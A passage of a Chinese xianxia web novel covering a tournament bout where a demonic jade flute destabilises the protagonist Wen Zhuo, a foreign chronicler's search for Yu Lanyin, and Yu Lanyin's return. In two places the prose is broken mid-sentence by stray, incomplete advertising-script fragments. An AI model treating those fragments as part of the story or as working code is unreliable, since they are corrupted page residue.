“这仙器原本便是仙盟顶级法器之一,那厮叛逃之后估计又往上作了不少改动。不过现在也没空纠结这些了,”元宿央有些疲惫地闭了闭眼,“我们带着记者太难行动,回去之后从长计议才是上策。” 元宿央所言这正和温卓的想法不谋而合,于是温卓也没迟疑地便应下了。 记者始终沉默地看着二人,并未插嘴任何一句话。 不过温卓自然是没有忘记他,话音落下,他手指一动,便给搀扶着的记者身上落了个洗涤术。 此时记者终于得以露出了他的真面目。 他是个青年的模样,金色的眼睛,外貌硬朗。他漏在外的小麦色的皮肤之上覆盖着满满的青色的纹身样的图案,瑰丽又诡异。 记者看着自己忽然干净了的衣服,眼眸之中闪过了一丝惊讶,随后又感激不已似的把右手放在胸前行了一个有些古怪的礼,开口的声音嘶哑万分:“多谢两位修士相救。” 他的中原话说得并不熟练,带着些异邦口音,可他说得十分认真,“我的名字是艾昂里,译成中原话的意思是,风,秋天的风。” 温卓学着回了一礼,“温卓。” 元宿央也有模有样地学了,“在下元宿央。” “这位……秋风,此次入世是要到哪里去?我二人可护送一二。”元宿央毕恭毕敬道。 秋风眸子很清亮,却摇了摇头,“我对现在的银币了解不多,但是一百万金锭……大概是很多吧?” 没等元宿央开口,温卓已经抢了先:“不算多,够买我家中海东青的三根鸟羽。” 元宿央看了温卓一眼。 秋风愣了一愣:“啊……原来现在货币贬值这么严重吗。” 温卓正色“嗯”一声。 元宿央扯了扯嘴角。 ……那玉爪海东青再贵也不是这么个天价吧好弟弟。 温卓手不停,一翻变了个和自己身上一样的防风斗篷盖到了秋风身上。 秋风老老实实捏住斗篷一角,道了一声谢,随后道:“不过这到底也还是金银,若今后二位有何事需要,艾昂里定竭尽全力。” 温卓和元宿央对这客气话也不怎么放心上,满口客客气气应下。 陇西太阳落得晚,如今正是黄昏,太阳躺在西面地平线之上,红得像火,映红了一片晚霞。 温卓瞧着那太阳很久。 已经很久了,他每每看到这些漂亮的——前日的大漠星河、树梢之月,今日的落日晚霞——总会不自觉地想到玉阑音。 在那些片刻,他总希望玉阑音能在他身旁。 不过这思绪倒不完全是因为思念。 更多是想到那寒冷的、没有春夏的北塞。他心疼。 沙漠之上忽然起了风沙。 三人忽然被一阵风吹得睁不开眼,胡乱拽了兜帽往脸上一蒙。 元宿央的声音在面罩之下雾蒙蒙:“不过,秋风,你路上是遇到了什么事才被抓到这里来了?” 随后一顿,又补充道:“这能说么?” 秋风摸摸鼻子:“倒是没什么不能说的。路上化缘的时候吃得太多,引了一群人来,三言两语的空当里莫名其妙就被抓走了。” 温卓:“……” 元宿央:“……” 这么大一个稀有物种在街上乱逛,不抓你抓谁? 两人打一见面就嗅到了这记者身上宽容又仁慈的荒诞,原来果然不是错觉。 引得两人对这神秘的智者的恭敬都有些破碎。 元宿央迎着风沙找回了些自己的声音:“那秋风你这回出世又是为了?” “哦,是为了千年之战和云州结界的史书。”秋风道,“后室对此的记录残缺不全,最近恰逢结界不稳,大长老便托我来了。” “千年之战和云州结界?”元宿央一张脸只蒙得剩了一双眼睛,但不难听出他愣了一下。 温卓自然是没有错过元宿央不自然的哽塞。他的视线轻轻扫过元宿央的眼睛。 “对,只可惜我对云州大陆确实了解不深,如今还没找到这位承载者。”秋风不好意思一笑,“如此说来确有事要请教二位修士,不知二位是否认识一位叫‘玉阑音’的前辈?” 14. 玉笛 温卓眉头一皱。 而一旁的元宿央则是迅速地扫了一眼温卓。 未等温卓开口,元宿央已经迅速接过了话头打起马哈:“秋风你这可还真是问对人了,我们俩可是和玉阑音可是相当的熟啊。” 听了这话秋风眼睛都亮了起来:“是吗?那我今日真是有好多好运气!我一路上问过了很多人,可是没一人认识这位云州……” 元宿央抓紧捂住了他的嘴,看起来自如实则用着寸劲地揽过了秋风的肩膀,凑过头去低声道:“秋风兄,我们小些声。见到我旁边那位了吗?你提玉阑音的名字不要紧,若是其他的话你记得避着点他,他——” 元宿央无意中一抬头,忽然对上了温卓黑沉沉的眼睛。 “……他怎么了?”由于元宿央一时沉默,秋风有些不解地追问道,“是两人过去有什么交恶?” 元宿央再怎么厚脸皮也不好在当事人眼皮子底下多舌,只得咬着牙哼哼唧唧胡乱应道:“……哼哼嗯。” 秋风正色点头:“哦,我明白了。” 元宿央:“……”你明白什么了明白。 元宿央颇为难言地用目光拧了这记者一眼。 ……罢了,交恶就交恶吧,总比他顺嘴把玉阑音那二两事秃噜完了强。 当时从札布萨临走,他可是专门被玉阑音领着耳朵叮嘱过不要让这小崽子知道,这崽子机灵,原本就捂得岌岌可危,要是在这儿功亏一篑他可就是真没脸再去见玉阑音了。 想着,元宿央又剜了这西南来的云州智者一眼。随后他清了清嗓子用正常音量道:“……玉阑音住得偏远,你刚入世靠自己定是寻不到的。这样,你先随着我们二人回中原,等到云霄大比结束后我便带你去,这样可好?” 秋风闻言温和灿然一笑:“云霄大比是什么?” 元宿央:“……”您好,请问这是重点吗? 温卓这时才收回了停留在元宿央脸上的目光,回答道:“是仙门修仙之人的比试,百年一次。” 秋风了然,“哦!” 三人一边对这云霄大比评头论足了一番,一边就这么各怀心事地同行上路了。 不过这回温卓是断然不敢叫元宿央再动用他师兄给的要人命的小法器。 他不由分说地坚定地按住了元宿央蠢蠢欲动的手。 随后温卓手指轻拈,一层温和而宽广的近乎于黑色的暗红色结界便卷起了一阵风,无中生有破风而现,轻轻地将他们包裹起来。 温卓手腕一抬,其余两人只觉得脚下瞬间有些不稳,紧接着是一阵呼啸的风声,但并未有任何不适 等他们回过了神,那包裹着的结界已经散了个干净,眼前更是已经是换了一幅景色。 层层叠叠山,高低错落的各种植被,期间混着虫鸟并不刺耳的喧嚣。骤然的沉静让几人有些耳鸣。 是药谷。 元宿央是个剑修,平日自然是不常见到这种法术,他落了地,挺稀罕地在地上踩了踩,“你有这本事怎么去的时候不早说?” 温卓瞥他一眼,理也没理,手一动把他们身上的防风斗篷收了回来。 秋风抻着脖子则是到处看了看,“这是什么地方?好大的草药味。” 温卓道:“中原南泽十方宗,药谷。” 秋风恍然大悟:“哦,十方宗,我知道十方宗。” 温卓看他一眼:“为何?” 秋风认真道:“后室的一半史书之上都有十方宗的名字,可没有记者不知道十方宗的。” 元宿央听了会儿觉着眼酸:“那你们有没有听说过玄天门?” 秋风半辈子的眼力见估计都转在这时候了,他好生瞧了元宿央的脸色:“……嗯,也听说过。” 温卓没忍住笑了一下。 只有元宿央的脸比锅底还黑。 “回来得突然,天色也晚,今日便委屈秋风记者和少掌门在药谷客房将就一宿了,”温卓道,“方才我提前通过信,客房已经收拾过了,桌上应该有些水果和吃食,两位随意用。其余若有照顾不周,多担待。” 秋风连连说着“哪有哪有”,元宿央却又好生打量了一回眼前这个论年纪还没他一半大的温卓。 常言道:喜欢一个人千方百计不一定能让人察觉,但若是讨厌一个人那真是千遮百掩都藏不住的。 他对温卓的意见大破天,他可不信温卓会无知无觉,更何况他也不觉得温卓对他是能多少的正面情绪,真要说起来两人如今更像是“相看两生厌”。 累死累活走了同一段路,尽管温卓说起话大部分是有些讨打,可他却也还是里外大事小事样样安排得滴水不漏,甚至是颇为窝心。 搞得元宿央经常会在很多瞬间良心发作一番,总觉着自己有点像是整日以给儿媳妇挑刺为乐的恶婆婆。 不过……总归依旧有待考量。 元宿央上上下下又看了温卓好几遍才最终移开目光。 云霄大比依旧是在有条不紊地进行着。两日后,温卓的第二场比试开始了。 虽然这只是温卓的第二场比赛,但其实整个云霄大比的赛程已经过了大半,人数也早已不足最初的四分之一。 克古鲁、镜遥和原佰也已经前往,如今站在了赛台底下的人群之中。 但此回台下的温卓支持小分队除了克古鲁、原佰和镜遥,还莫名其妙多出了一个带着斗笠的神秘男子。 这人的衣服并不是中原样式,长袍领口带着黄棕色杂毛兽毛,身上丁零当啷挂着许多兽牙和骨哨。 原佰和镜遥心思比克古鲁更细一些,更是频频看向他。 不过这也怪不得秋风,他对者云霄大比好奇不已,又碍于这记者身份和奇异的外貌,只能带个斗笠努力少惹是生非。 秋风依着温卓和元宿央的提醒,老老实实站在浅颜色头发和眼睛的克古鲁身边,不动作,不说话——尽管克古鲁并没有事先收到这个消息,如今正有点被这神秘人跟随得毛骨悚然。 长老观赛台阶之上的元宿央也时不时往这里看来,直到看到这个比小猫小狗省不了多少心的记者此刻还算乖巧,也终于是逐渐放下心来。 温卓第二场的对手是迦南派一个叫作裴谞的术修。 裴谞是个看起来有些怯场的很年轻的孩子。 上了台看到对面阴沉沉的温卓,他差点被瞪得掉下眼泪。 温卓却看着裴谞皱了皱眉。 他从不是一个容易以貌取人掉以轻心的人,更何况云霄大比比试场内皆为人中龙凤,何来弱者一说。 只是自从裴谞上了赛台,他身上佩戴着的那只玉笛之上的气息就让温卓有些不受控地焦躁,实在是很难不在意。 温卓的目光在那玉笛上停留了许久。 比试正式开始。 裴谞不敢和温卓对视,于是颤巍巍地鞠了个躬,然后弱柳扶风哆哆嗦嗦地把玉笛从背后抽了出来,“前……前辈先出招吧。” 自从见到了这个玉笛,温卓的太阳穴就胀胀地跳。他抽出了一只手揉了揉眉心。 最好是速战速决。 温卓回一礼,“那便不客气了。” 话音未落,温卓便像一道黑色的闪电一般离开了原地,像剑一样朝裴谞袭去。 体术。 一丝一毫灵力和法术都没有的体术。 裴谞的惊恐溢于言表。 他细胳膊细腿,年年体术不及格,这辈子最怕的就是在太阳底下扎马步,在一片尘土飞扬里大展拳脚。浑身是汗的感觉真是太糟糕了。 温卓自然是一眼就能看出这人不善体术,他这次选择用体术,虽然偏激,但倘若能成,那自然是最快的方式了。 裴谞哆嗦着直往后躲,“不要,不要过来……” 他呜咽着几乎有了哭声,无助地胡乱摆着手,那玉笛在他手里几乎要被甩出残影。 那玉笛一动起来的瞬间,温卓就觉得自己的心脏随着那摇晃的节奏咚咚跳,其力之大仿佛就要撑破他的胸腔。 略微出神之时,他手下一时没收住力,几乎是全力一肘朝裴谞胸口袭去。 台下的镜遥随着所有观赛者一同倒吸了一口气:“嘶——” 原佰也愣愣转头向克古鲁问道:“温兄这力是不是没收住?这一胳膊下去对面的小兄弟可如何能受得住?” 克古鲁没回答,只 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 看着台上的温卓。 别人或许是不了解,但是他可是很清楚。温卓平日就是个很克制的收敛的人,动起手来更是十二分的有数,修练之时的控制力可谓是精准得让人毛骨悚然。灵气大肆卷过却连小花小草的叶片都能稳稳避开的人,断不应该有动动拳脚之时“没收住力”的时候。 克古鲁看着显然有些不对劲的温卓,眉头皱得很紧。 哪知台上,那畏畏缩缩可怜得和只被欺负的小狗似的裴谞并没有大家担忧的“非死即伤”。只见他手里摇得要起飞了的玉笛忽然闪出了一道白光和气浪,高约十尺,冲击力直接顶得温卓后撤了两步。 温卓脚下运气缓和了后坐力,堪堪站稳身形。 那气浪爆出的一瞬间,温卓的头“嗡”得空白了一瞬,骤然的撕裂般的疼痛叫他险些要站不住。 温卓耳边一时再也听不到任何的声音,只有自己沉闷的呼吸和如雷的心跳。 台下忽然响起一阵惊呼。 “大哥!”克古鲁朝着台上大喊一声。 镜遥终于是察觉到了不对,问克古鲁:“温兄今日是不是身体有不适?” “方才与他说话他的状态并无异样,”原佰却摇摇头,“更像是那玉笛有古怪。” “这玉笛是怨生笛,厌族之气炼化而成的仙门法器。” 这三人身旁的戴着斗笠和鬼似的秋风冷不丁地开了口。 这声音一出直接是把他身边离得最近的克古鲁吓了一跳,“谁,谁在说话?” 三人齐齐把目光投向了这个人高马大的异邦神秘人。 镜遥倒是没顾及他是人是鬼,很快就接上了话茬,“我倒确实听说过不少门派会做这种厌族法器,可这种法器不是对使用者的能力要求极高么?这裴谞……他用得起么?” “比赛一开始我察觉到怨声笛上的厌族气息,不过又碍于对面小兄弟修为似乎极低,我便以为是自己太过草木皆兵。”秋风道,“这法器之气不源于云州天地,实乃一把双刃剑,力无穷却又极易失控,若是用得多更是会损人心性。” 秋风顿了一顿,他的中原话依旧蹩脚,但却已经足够在场的人听的一清二楚,“可若对面这位小修士修为如此之低,这怨生笛在他手中……恐怕是要损人不利己,百害无一利了。他控不住的。” 几人脸色纷纷一变。 长老们中最先注意到温卓比试赛台异样的自然是元宿央、善玄和掌门秦鹤生,他们仨的眼睛简直和站在温卓身上没区别。 元宿央的眉头皱得能夹元宝,脖子往那看台上抻得像一只大鹅。 善玄更是直接站了起来就想往看台上冲去。 秦鹤生说时迟那时快,在善玄巴不得化成光影起飞的瞬间伸手堪堪拉住了善玄。 善玄被这么拉住心里猴急得不行,“掌门?” 秦鹤生只是摇摇头。 善玄使了点力气挣脱秦鹤生的手。他原本就束发松松散散,现在一作大动作更是秀发乱飞,领口也扯开不小,活像个被怎么着了的小媳妇,“掌门,那是一支怨生笛,你明知道温卓他……” “善玄。” 善玄几乎是立刻冷静清明了些,发觉自己险些是说了些不该说的,连忙住了口。 元宿央此刻也瞧向秦鹤生。 秦鹤生敲了敲拐杖,“我知道你惦记,但……若这种程度都能将他……” 他没再继续说下去,可眼神却和平日那好好先生完全不同,像猎鹰一般锐利起来。 “我定不会心慈手软。” 温卓此时两耳嗡嗡作响,浑身的冷汗浸湿了衣衫。 胸腔里的火似乎越烧越旺,宛如有一双灼烧着的熔岩之手正在划开他的胸膛破体而出。脑海中忽然响起尖锐的嘶喊,叫他脚下一个踉跄险些摔倒在地。 这种感觉温卓并不陌生,甚至是十分熟悉。 这是他在闭关的百年之中曾经历过无数次的,吞没理智的窒息和撕裂。 那叫嚣着的嘶鸣他同样不陌生。 它同样已经嚎叫了闭关的百年之久,是那北塞松林撕破天际的、在无数噩梦中缠绕着他的:厌族。 温卓一直知道的。 15. 刁难 温卓的眼下明明灭灭,眼睑下阖之时能看到偶尔阴翳的红光,忽而闪过。 他仿佛换了个人,平日的温润克己复礼悉数散尽,忽然像是黑曜石琉璃盏灯,天光映照之时只留寒光。 他冷笑一下,嘴唇微动不知对谁说了句:“雕虫小技。” 话音刚落,温卓周身暗红色灵气暴起,整个场地忽而爆发出一阵极为侵略性的灵压,直接将对面正在“我不要我不要”的裴谞“咚”一声按跪到了地上,手中飞舞得留下残影的玉笛也在瞬间碎成齑粉。 整个云霄大比方圆十公里内所有的人都感受得到这凶猛的压制,无一例外,不少离赛台近的小修士直接被震得呕出了一口血。 这突如其来的无形之手在比试场地笼罩了近半柱香之久。温卓眼中依旧带着深色的红光,在血色的灵气之中昂首而立,高高束起的墨发随风而起。 震颤之中,他轻抬起右手虚虚一握,霎时间,遮天蔽日滔天的灵气凭空消散,宛如一阵风,转眼便已无影踪。 除了漫长的耳鸣和台上台下卸了力东倒西歪的修士,方才这这凶猛的威压便再无一丝曾到来过的迹象,仿佛这只是众人一场不约而同的幻觉。 裴谞跪在地上直不起身,随着灵压一散去,他更是骤然脱力,没骨头似的滑倒在地,大口大口喘着粗气。 温卓眼眸之中的癫狂的红光还未散尽,也再无先前扶起岑召的心力,他垂下眼看着裴谞道:“你输了。” 在众人的目光下,温卓半沉着脸走下赛台。 克古鲁、镜遥、原佰三人略带担忧地看着温卓,一旁的秋风偷偷撩起眼前的帘子也往温卓这里看过来。 温卓的兴致似乎及其不高涨,见到这一行人只是抬手虚抱一礼,“我休整片刻,恕不能在此多留,失礼。” 镜遥连忙接过话茬,“好好,擂台赛还有两刻钟紧接着开始,温兄先好好休息,好好休息便是。” 温卓又抱了抱手便转身快步离去。 他前脚刚走,观看台上的善玄爱子心切,连忙脚下运了气,忙送不迭地追了上去。 还没等走到与温卓肩并肩,善玄的连环问已经先一步到来了,“小师弟,现在感觉怎么样?身上可有不舒服?还认得我是谁吗?饿不饿?渴不渴?” 闻言温卓的脊背不自然地僵直一瞬。 善玄好一番察言观色,“别紧张。那笛子是一支怨生笛,古怪得很,赛台上你的脸色不好,我和掌门都很担心你。” 温卓垂眸看了善玄许久,仿佛是在确认他所言是真是假,又似乎只是看了善玄一眼,“多谢师兄关心,只是灵力失控。好在这种情况闭关之时也时有发生,不难应付。” 善玄眨眨眼,半晌重复道:“哦,闭关的时候就遇到过。” 温卓不着痕迹地又看他一眼,“嗯。” “擂台赛马上开幕了,”善玄道,“你若是身体仍有不适便多修整两轮,我与掌门知会一声就好。” 温卓却摇摇头。 他的状态说不上好也说不上差,单从面色看来并没有什么异样,也没露出什么外显的伤情。 他看起来似乎只是有些疲惫,疲惫到甚至没有精力维护他平日温和的贵家公子做派,只低垂的眉眼仍旧有不停歇的暗流奔涌。 温卓道:“师兄不必费心至此,我并无大碍。况且,若我不去,恐怕外人是要说我们拿东道主的架子了。” 善玄蹙眉:“哪来的胡话?你正儿八经的伤患,怎么就不能多休息休息了?谁要是来多舌,我第一个撕烂他的嘴!” 温卓听着一愣。 他其实在闭关之时便知晓,自己大概不是个“人”。 直到一个静谧地夏夜里,那声音在温卓脑海中吐出人言之时,他才冷静地确认,哦,原来是厌族。 是个人形的,面目可憎的,害人无数的厌族。 自此数十年,温卓不再敢有哪怕一丝一毫的懈怠,每时每刻,每分每秒。 因为哪怕是任何一个不足道也的细微的分神,都会被那厌族的神识抓到可乘之机,那邪气的神识便会如山崩海啸卷过他,不达目的不罢休。 温卓自诩并不是个坏脾气,但俗话说泥人也有三份脾性。 不过,即便较劲也是自己与自己较劲,总归是不敢与旁人言说的。他今日的异状,他可不信善玄或者掌门会毫无察觉。 可善玄忽然的这般言语,又让他无端生出些“即便我告诉了他又怎样呢”的痴心妄想。 他自嘲似的笑一下。 温卓并未就此多言,只摇摇头,转而问善玄道:“既然是擂台赛,这第一轮是谁做庄?” 善玄思索着,在心里好生计算了一番,“算着大概是君少暄——哦,就是药谷那位,论起辈分来他是你师侄,他还得管你叫师叔。” 还没等说完,善玄自己先给自己逗乐了,自顾自笑了好一会儿才继续道:“也不知道你从前见没见过他,是个心比天高的个小孩儿。” 温卓闻言应了一声,“见过一次。” “哦,原来竟然是之前已经见过了,那便好办了。”善玄笑着轻拍了下手。 “少暄年纪与你相仿,身上有些杂七杂八小毛病,大概是很不好相处的。你懂事,多担待些。”善玄道,“不过这个孩子心思不坏,心术也正,不屑于使那些脏手段,若是碰到了他,也算是好事一桩。” 温卓点头,悉数记下。 之后便是一阵长久的沉默。 好半晌,温卓才终于忍不住似的又开了口,问道:“方才比试赛台对面的裴谞,现在如何了?” 善玄愣一下,一时都没寻思过来这“裴谞”是哪位,脑子飞速转了好一会儿,最后才笑起来,“你这孩子真是……不用费心挂念,好得很,刚正抱着他碎得没影儿了的笛子和他师兄哭呢。这可放心了?” 温卓四平八稳听完,又不冷不淡地“嗯”了声。 善玄看着他这模样,半是无奈地摇摇头,低声嗤笑,“……这孩子。” 比试会场。 克古鲁一直有些担心温卓,被晾在这儿干等着实在是焦急如焚,焦急之时一扭头,又看见镜遥正和原佰不知在谈些什么甚是谈笑风生,简直是气不打一处来。 “……我上回在岭南的那个峡谷……诶诶——”镜遥说着,忽然两脚离地,被揪着后领子提了个转面。 镜遥看着提着他的面色不善的克古鲁,歪歪头不解地问道,“怎么了克古鲁,世界末日了吗?” 此言一出,克古鲁是气笑的。 原佰则是被克古鲁的表情逗笑的,搂过镜遥的肩笑得抖如筛糠。 克古鲁决定不再理会他这两个神神鬼鬼的师兄,转头与仍旧老老实实披着斗笠的神秘人秋风攀谈起来。 “……方才听你所言,你似乎对法器很了解?”克古鲁对着大斗笠说道。 大斗笠答:“哦,不算了解,史书上有记载。” 克古鲁点头:“哦。” 话头落下,紧接着便是一阵让人有些窒息的沉默。 克古鲁对于这种莫名的尴尬总是有些接受不良,抓耳挠腮。 最终还是秋风再度出言解救他于水火,“我叫艾昂里,中原人都管我叫秋风。你叫什么名字?” 克古鲁松了口气,神态也回复如常,“我叫克古鲁。” 闻言,秋风忽然从袖摆里伸出了他那一双满是纹路的手,偷偷摸摸拨开了斗笠的帘子,又露出他同样有纹路的脸和那双清澈的眼睛,“克古鲁?你也不是中原人?” “嗯,北塞札布萨人。”克古鲁看着他脸上的纹路一时怔忪,许久才道,“你是……记者?” “对的,对的,记者。”秋风大概是因为见到了除他以外的异邦人,颇有“他乡遇故知”之感,相见恨晚。 听了秋风的话,克古鲁这会儿便也不再奇怪这人怪异的装扮了。 他甚至十分谨慎地四处瞧了瞧,确保无人注意到他们二人,随后一个矫健的身手就把秋风的头帘拽了个更结实,蹙眉道:“没事儿别老瞎扒拉,这么不懂事。” 秋风闻言,像做错事幡然醒悟似的,“哦哦,对,对,得藏着点。忘了忘了。” 说着,他连忙又整理整理斗笠帘子,之后便老实站起桩来。 克古鲁上看下看,确保秋风已经捂得严丝合缝了,甚为满意地松了口气,随后才偷鸡摸狗地凑过去,附耳低声问道:“秋风兄,有件事不知当问不当问,只是你这回是为何来到十方宗?难不成十方宗——” 说着,他警惕地左右看看,“——有古怪?” 秋风听了似乎有些奇怪,“啊,完全不是的。我先前大意被人抓走了去,是温兄和元兄两位善人救下了我。” 克古鲁骤然听到,脑子一时都没转过弯来。 “温兄,温卓,这我认得,”克古鲁呆愣愣道,“但这元兄是……” 元。如果他没记错,整个仙盟,大概只有北晔玄天门那一家是元姓。 总不能是元宿央吧? 秋风见克古鲁一副呆滞的模样,误以为克古鲁是不认识元宿央,便好心往观赛台一指,“哦,就是他。” 毫无察觉成为了舆论中心的元宿央此时正在长老椅上托着腮打盹,脸颊肉把他的眼睛挤成了一条缝。 “……” 克古鲁一时无言。他不是不认识元宿央。 可问题是,明明三天前他大哥对着元宿央还是一副“我一定要找机会揍他一顿”的样子啊?元宿央翻的白眼也是“你个废物崽子”的话外之音啊?搞得他以为两人私下定是要针尖对麦芒、你死我伤。 可这才几天?怎么和说好的不一样?怎么还联手救起人来了? 现在这人与人之间的交情如此瞬息万变了? 克古鲁有些凌乱,“你确定是他?” 秋风点头,“当然确定了,他 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 们两个人关系很不错,也友爱,我是记者,不会记错东西的。” 克古鲁又是一时无言。他对秋风的中原话的水平产生了些有理有据的怀疑。 许久后克古鲁才重新张了口:“……那你此次是来云州做什么的?” 秋风很快道:“玉阑音,我是来找玉阑音的。两位善人说他们认得他,等云霄大比之后就带我去找。” “玉阑音?”这个名字对克古鲁来说更是有日子没听到过了,但他几乎是瞬间便从记忆里追忆起,追忆起了北塞风雪天药居里金红的火光,和明灭光下温和的倩影,“你找玉阑音?” “对,”秋风疑惑不已,“难道你也认识他?” “何止是认识,我还在他家睡过觉,”克古鲁道,“你这回算是找……” 忽然,擂台上的锣锵锵响起来,颇为震耳欲聋,将克古鲁后续的声音盖了个结实。 秋风被吓得一哆嗦,随后便好奇地踮着脚往台上看去。 克古鲁的话没说完,但他也没觉着这话题有多紧急——毕竟药郎先生如今远在天边,总不能生了翅膀忽然飞来吧?过会儿再继续说不就得了。 于是乎他也心安理得地和秋风一块儿,高高兴兴看起擂台赛了。 “现在这是要比下一轮了吗?”秋风看起来挺兴奋,扯着嗓子问道。 克古鲁堵着耳朵点点头。 擂台的庄主的确如善玄所言,是君少暄。 君少暄和多年前相较出入并不大。他依旧穿着华贵的白金十方宗弟子服,边边角角掖得一丝不苟,腰带之上挂着清透的紫荆花玉佩。 也依旧是拿鼻孔看人。 不过平心而论,这君少暄也的确是有不正眼看人的资本。 锣响之后仅短短两刻钟的功夫,他已经游刃有余地接连挑下三名来自不同门派的弟子,速度之快令人瞠目结舌。 “我算着下一个便是温兄了吧?不过温兄怎么还没到?”镜遥抻着脖子到处看,试图找到温卓的踪影。 原佰也跟着四处寻,眯着眼睛终于在极远处看到了奇高无比鹤立鸡群的温卓,“哦来了,来了,在那里!” 温卓大概是赶了些路来的,最后的路程直接是脚下运气,使了个踏风术跃到了台上。 他个子高,做什么动作都有种怡然自得和从容不迫,落地之时也是轻飘飘的,不见一丝赶路的仓促,极其舒展。 善玄也跟在温卓身后回到了比试场地,两步作一步地坐回了秦鹤生身边。 温卓落稳之后朝君少暄行了个礼,“抱歉,久等了。” 随后他手一动,凭空在深红色灵气中摸出一把弓来。这把弓金属雕花,看起来颇为笨重与华贵,“开始吧。” “嘶——”克古鲁倒抽一口凉气,他现在是个器匠,自然是对这些玩意儿敏感。 秋风不解地问道:“这弓怎么了吗?” “没怎么,是一把开了金光咒神的寒铁弓,我大哥打小就背着,”克古鲁道,“不过现在这是……已经是被炼成仙器了。” 克古鲁顿了一下,又补充道:“神级仙器。” “神级仙器可是我们宗门长老都未必能人手一把的稀罕物件,而且你看这弓身上的灵力波动,那么温和,那么漂亮……”克古鲁目不转睛地盯着温卓手里的寒铁弓,可谓是痴迷,“……这简直就是神迹。” 台上君少暄面色并不好看,他皱着眉上上下下打量了一番温卓,“是你?” 温卓不急不恼,“是我。” 君少暄看见这人这软棉花的样子就来气,耸起鼻子,嘴角都要撇到下巴上去,“你怎么能来了?把名号挂在哪家门派来的?” 温卓闻言,轻轻叹了口气。 君少暄可不至于是贵人多忘事,他如此问,不过是为了接下来的某些寻衅滋事垫话罢了。 温卓本不愿惹是生非,尽管这回大概算是要在劫难逃。 他面色如常,依旧温文尔雅拱拱手,“十方宗。” “十方宗?”君少暄对于温卓回答这个答案似乎是极为满意的。他公鸡似的抬了抬头,“我怎么不知道你已经拜师十方宗了?是哪位长老门下?拜师礼行了吗?” 你瞧,这不就来了? 温卓又叹了口气。 其实,温卓的名字很早就随着其他弟子一同被编进了十方宗弟子谱,虽然未拜师,但若说算作十方宗内门弟子,他名正言顺,天经地义。 不过虽然善玄说过很多次“腰板直起来”的话,但温卓对此其实还是自觉理亏,大多时候并不愿主动就此多言。 但这并不代表旁人可以因此来衅事。 正当他要好生和君少暄掰扯一番时,一道浸透了灵力的声音忽然在他身后响起。 那声音听着有些遥远,不轻不重,温润又和煦,却足以让比试场所有人都听清。 “这是谁家小孩,刁难我徒弟,没见他都要哭鼻子了么?” 16. 归人 这突如其来的声音恰如清风朗月,带着一丝熟人之间无伤大雅的调笑,带着这个春天所有的和煦与明媚,带着一群雨燕和潮湿的田野,带着漫长的夜雨和长燃的灯火。 带着温卓能想到的所有美好的东西,乘风而来。 这声音曾在无数个午夜梦回之时勾得他魂牵梦绕,熟悉到他甚至不需要回头,不需要寻声看去。 可事实是,他永远会朝他看去。 玉阑音施施然落了地,他一袭象牙白色素长衫,未挂任一配饰,长发未束随风自舞,偶尔一阵风过卷起他宽大的袍袖之时,便能窥到他手腕上缠着的那串乌黑的佛珠。 他生得极漂亮,弯眉黛目,眸子中似乎带着万千光华,嘴角噙着一丝不易察觉的揶揄的笑意。 清减了。瘦了。没好好吃饭。 温卓远远地、细细地看过他。 玉阑音乍到,尽管是刚落地却很是不见外,直接抬了步子便往这擂台之上款款走去。甚至在短短走路的功夫里悠哉地手腕一转,变了只潦草的竹笛在手里敲着。 温卓直愣愣地看着他走近,直到这人走到了他面前,走到了他半臂方圆之内,走到他一抬手就能环抱的距离。 玉阑音在来的路上已经想象过无数次温卓如今的会是怎样的模样。 每思念到此,他便总要想到小时候第一次见,那时候温卓还没有自己的腿高,他一弯腰就能将这个板着脸的小孩背到背上。 又想到药居里,他小小的个子跟在自己屁股后面,整天没大没小“阑音阑音”地叫。 想到他寒风里推门而入,小小的孩子背着两头鹿,两个脸蛋儿冻得通红,肩头落满雪。 玉阑音原本以为的忘干净了的,那段再普通不过的细碎的时光,如今居然都能回忆得清清楚楚。 他想着想着就笑起来。 大概是很难想象得出这么个小崽子会长成什么样子了,他想。 今日真的见到了温卓,见到他站在赛台上脊背挺得像戒尺一样笔直,挺拔俊朗,仿佛一夜窜高数尺的小白杨,居然已然有了顶天立地安若泰山之势。 温卓头发依旧梳得很高,没穿宗门的弟子服,还是药居之时玄色长袍的惯常打扮,相貌也仍有年幼之时的影子,不过是长开了些,舒展了些,刚毅了些。 这种熟悉的错位感叫玉阑音忽然有些恍惚,对过往岁月流逝的感知都模糊了起来,一时竟难以分清这究竟是何年何月。 玉阑音慢慢地走近,直到在温卓面前站定。就在这时候他才发现,原来记忆里那个小小的孩子,现在已经高过他半头了。 他上上下下仔细地看过温卓,最终却只是一笑,这一笑里夹杂着说不清的遗憾,又或者只是单纯的欣慰,“……怎么已经长这么大了。” 玉阑音手里有节律地敲着那根粗制滥造的木笛,一边又看不够似的,细细地用目光将温卓描摹了千百回。 他的确很难想象温卓究竟长成了何种模样,于是一路上心里总是有隐秘不宣的期待。 心抛起的时候用了很大的力气,下落的时候却如无声细雨。 百转千回的模糊的想象终于有了确切的身形,玉阑音看着温卓挺拔的成人模样,一颗心忽然就缓缓落定:嗯,大概就是这个样子。 就这样,很好。 他终于停下了木笛敲出来让人神经衰弱的“啪嗒啪嗒”声,伸出手轻轻捏了捏温卓的肩膀,又一路捏到臂肘,来回了好几遍,最终却只是又道了一遍:“怎么已经长这么大了。” 就在玉阑音要收回手时,他的手骤然被另一只手抓住,这只手骨节分明,手指修长,却抓得很稳很结实,甚至是用劲极大。 不过玉阑音也没急着抽回手,只略微抬头,看向那双手的主人。 温卓目光沉沉,垂着眸子也回看着他。 他在过了重逢兴奋的战栗后,一些不足为外人道也忧虑便席卷而来,杂七杂八什么都有,一股脑没什么条理地往脑海里涌入。 担心自己变了太多,又担心自己变得不够多,又想到自己居然是厌族…… 对,厌族。 想到这里,他忽然觉着血液一阵逆流。 “怎么了?这是真的要哭鼻子了?”玉阑音被死死抓着,但却是一副云淡风轻哄孩子的模样,轻笑着轻声揶揄。 温卓闻言回了神。他有些疲惫似地扯扯嘴角,又装作若无其事地摇了头,“没有。我只是在想——” 他顿了一顿,“——只是在想,上回你答应我的,第二年要一起去庙会,现在还作数么?” 玉阑音听后显然是愣了一愣,好久才笑着拿木笛不轻不重敲了敲温卓的手背,“当然,只要你想。” 温卓听后飞速眨了眨眼,稍别过了头去。 “嗯。” 